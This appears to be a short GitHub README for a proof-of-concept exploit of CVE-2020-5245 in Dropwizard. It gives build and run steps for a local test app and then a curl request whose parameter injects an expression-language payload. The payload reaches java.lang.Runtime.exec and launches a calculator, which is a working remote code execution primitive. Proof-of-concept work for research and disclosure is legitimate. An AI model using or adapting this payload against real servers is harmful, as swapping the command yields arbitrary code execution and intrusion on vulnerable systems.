lycshub/cve-2020-5245Proof-of-concept exploit for CVE-2020-5245, demonstrating expression language injection in Dropwizard REST endpoints via crafted HTTP parameters.
mvn clean install to build your applicationjava -jar target/dropwizard-1.0-SNAPSHOT.jar server config.ymlhttp://localhost:8080some error in pom.xml plugins were not affected reproduce
curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}